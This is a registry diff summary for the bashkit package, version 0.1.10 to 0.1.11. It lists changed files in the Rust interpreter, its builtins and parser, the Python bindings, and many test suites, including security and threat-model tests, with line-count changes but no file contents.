bashkit 0.1.10__tar.gz → 0.1.11__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {bashkit-0.1.10 → bashkit-0.1.11}/Cargo.lock +17 -17
- {bashkit-0.1.10 → bashkit-0.1.11}/Cargo.toml +4 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/PKG-INFO +3 -3
- {bashkit-0.1.10/crates/bashkit-python → bashkit-0.1.11}/README.md +2 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/bashkit/_bashkit.pyi +27 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/Cargo.toml +4 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/README.md +6 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/compatibility.md +4 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/threat-model.md +29 -3
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/custom_filesystem_impl.rs +6 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/alias.rs +109 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/archive.rs +22 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/arg_parser.rs +346 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/assert.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/awk.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/bc.rs +0 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/caller.rs +54 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/checksum.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/clear.rs +1 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/column.rs +13 -21
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/comm.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/compgen.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/csv.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/curl.rs +4 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/cuttr.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/date.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/diff.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/dirstack.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/disk.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/dotenv.rs +6 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/echo.rs +4 -4
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/environ.rs +178 -29
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/envsubst.rs +1 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/expand.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/export.rs +8 -13
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/expr.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/fc.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/fileops.rs +16 -10
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/flow.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/fold.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/git.rs +29 -24
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/glob_cmd.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/grep.rs +22 -80
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/headtail.rs +67 -42
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/help.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/hextools.rs +165 -115
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/http.rs +29 -36
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/iconv.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/inspect.rs +20 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/introspect.rs +174 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/join.rs +17 -32
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/jq.rs +11 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/json.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/log.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/ls.rs +506 -107
- bashkit-0.1.11/crates/bashkit/src/builtins/mapfile.rs +74 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/mkfifo.rs +1 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/mod.rs +89 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/nl.rs +13 -60
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/parallel.rs +23 -27
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/paste.rs +10 -16
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/patch.rs +31 -21
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/path.rs +6 -4
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/pipeline.rs +225 -112
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/printf.rs +96 -15
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/python.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/read.rs +29 -13
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/retry.rs +29 -52
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/rg.rs +15 -61
- bashkit-0.1.11/crates/bashkit/src/builtins/search_common.rs +109 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/sed.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/semver.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/seq.rs +4 -4
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/sleep.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/sortuniq.rs +2 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/split.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/strings.rs +25 -31
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/system.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/template.rs +48 -29
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/test.rs +0 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/timeout.rs +345 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/tomlq.rs +2 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/trap.rs +76 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/tree.rs +30 -39
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/vars.rs +26 -32
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/verify.rs +1 -1
- bashkit-0.1.11/crates/bashkit/src/builtins/wait.rs +68 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/wc.rs +1 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/yaml.rs +40 -10
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/zip_cmd.rs +18 -18
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/error.rs +15 -12
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/backend.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/limits.rs +41 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/memory.rs +4 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/mod.rs +25 -10
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/mountable.rs +4 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/overlay.rs +67 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/posix.rs +4 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/realfs.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/fs/traits.rs +70 -42
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/git/client.rs +7 -3
- bashkit-0.1.11/crates/bashkit/src/interpreter/glob.rs +760 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/interpreter/jobs.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/interpreter/mod.rs +2450 -3412
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/interpreter/state.rs +51 -7
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/lib.rs +145 -46
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/limits.rs +369 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/network/allowlist.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/network/client.rs +0 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/parser/ast.rs +2 -1
- bashkit-0.1.11/crates/bashkit/src/parser/budget.rs +453 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/parser/lexer.rs +38 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/parser/mod.rs +506 -234
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/parser/tokens.rs +15 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/scripted_tool/execute.rs +3 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/tool.rs +21 -4
- bashkit-0.1.11/crates/bashkit/src/trace.rs +412 -0
- bashkit-0.1.11/crates/bashkit/tests/blackbox_security_tests.rs +1393 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/custom_fs_tests.rs +5 -1
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/dev_null_tests.rs +8 -2
- bashkit-0.1.11/crates/bashkit/tests/final_env_tests.rs +82 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/git_inspection_tests.rs +15 -0
- bashkit-0.1.11/crates/bashkit/tests/output_truncation_tests.rs +133 -0
- bashkit-0.1.11/crates/bashkit/tests/overlay_path_validation_tests.rs +132 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/proptest_differential.rs +1 -1
- bashkit-0.1.11/crates/bashkit/tests/python_security_tests.rs +1332 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/script_execution_tests.rs +2 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/security_audit_pocs.rs +10 -6
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/security_failpoint_tests.rs +2 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/snapshot_tests.rs +55 -0
- bashkit-0.1.11/crates/bashkit/tests/spec_cases/bash/blackbox-edge-cases.test.sh +688 -0
- bashkit-0.1.11/crates/bashkit/tests/spec_cases/bash/blackbox-exploration.test.sh +1486 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/threat_model_tests.rs +1634 -7
- bashkit-0.1.11/crates/bashkit/tests/unset_function_tests.rs +48 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/Cargo.toml +5 -2
- {bashkit-0.1.10 → bashkit-0.1.11/crates/bashkit-python}/README.md +2 -2
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/examples/bash_basics.py +11 -3
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/examples/k8s_orchestrator.py +9 -3
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/src/lib.rs +381 -13
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/tests/test_bashkit.py +321 -0
- bashkit-0.1.11/crates/bashkit-python/tests/test_integration.py +490 -0
- bashkit-0.1.11/crates/bashkit-python/tests/test_python_security.py +489 -0
- bashkit-0.1.11/crates/bashkit-python/tests/test_security.py +283 -0
- bashkit-0.1.11/crates/bashkit-python/tests/test_security_advanced.py +1126 -0
- bashkit-0.1.10/crates/bashkit/src/builtins/timeout.rs +0 -256
- bashkit-0.1.10/crates/bashkit/src/builtins/wait.rs +0 -88
- {bashkit-0.1.10 → bashkit-0.1.11}/bashkit/__init__.py +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/bashkit/deepagents.py +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/bashkit/langchain.py +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/bashkit/py.typed +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/bashkit/pydantic_ai.py +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/benches/parallel_execution.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/custom_builtins.md +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/logging.md +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/python.md +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/agent_tool.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/basic.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/custom_backend.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/custom_builtins.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/custom_fs.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/git_workflow.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/python_external_functions.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/python_scripts.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/realfs_readonly.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/realfs_readwrite.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/resource_limits.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/scripted_tool.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/show_tool_output.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/streaming_output.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/text_files.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/text_processing.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/virtual_identity.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/base64.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/cat.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/navigation.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/source.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/textrev.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/builtins/yes.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/git/config.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/git/mod.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/logging_impl.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/network/mod.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/parser/span.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/scripted_tool/mod.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/src/scripted_tool/toolset.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/background_exec_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/builtin_error_security_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/cancellation_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/coproc_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/custom_builtins_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/git_advanced_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/git_integration_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/git_remote_security_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/git_security_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/history_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_274_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_275_279_282_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_276_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_277_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_289_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_290_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/issue_291_test.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/logging_security_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/mkfifo_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/nested_subscript_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/network_security_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/proptest_security.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/python_integration_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/realfs_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/azure_discover_rank.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/azure_generate_url.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/azure_query_capacity.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/helm_validate_chart.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/jwt_test_setup.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/stitch_download_asset.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/stitch_fetch.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/stitch_verify_setup.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/superpowers_find_polluter.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_fixtures/vercel_deploy.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/skills_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/source_function_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/awk/awk.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/awk/eval-bugs.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/alias.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/arith-dynamic.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/arithmetic.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/array-slicing.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/arrays.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/assoc-arrays.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/background.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/bash-command.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/bash-flags.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/bc.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/brace-expansion.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/checksum.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/chown-kill.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/cmd-suggestions.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/column.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/comm.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/command-not-found.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/command-subst.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/command.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/conditional.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/control-flow.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/cuttr.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/date.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/declare.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/df.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/diff.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/dirstack.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/du.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/echo.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/empty-bodies.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/env.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/errexit.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/eval-bugs.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/exit-status.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/expr.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/extglob.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/file.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/fileops.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/find.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/functions.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/getopts.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/glob-options.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/globs.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/gzip.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/headtail.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/heredoc-edge.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/heredoc.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/herestring.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/hextools.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/history.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/less.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/ln.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/nameref.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/negative-tests.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/nl.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/nounset.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/parse-errors.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/paste.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/path.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/pipes-redirects.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/printenv.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/printf.test.sh +0 -0
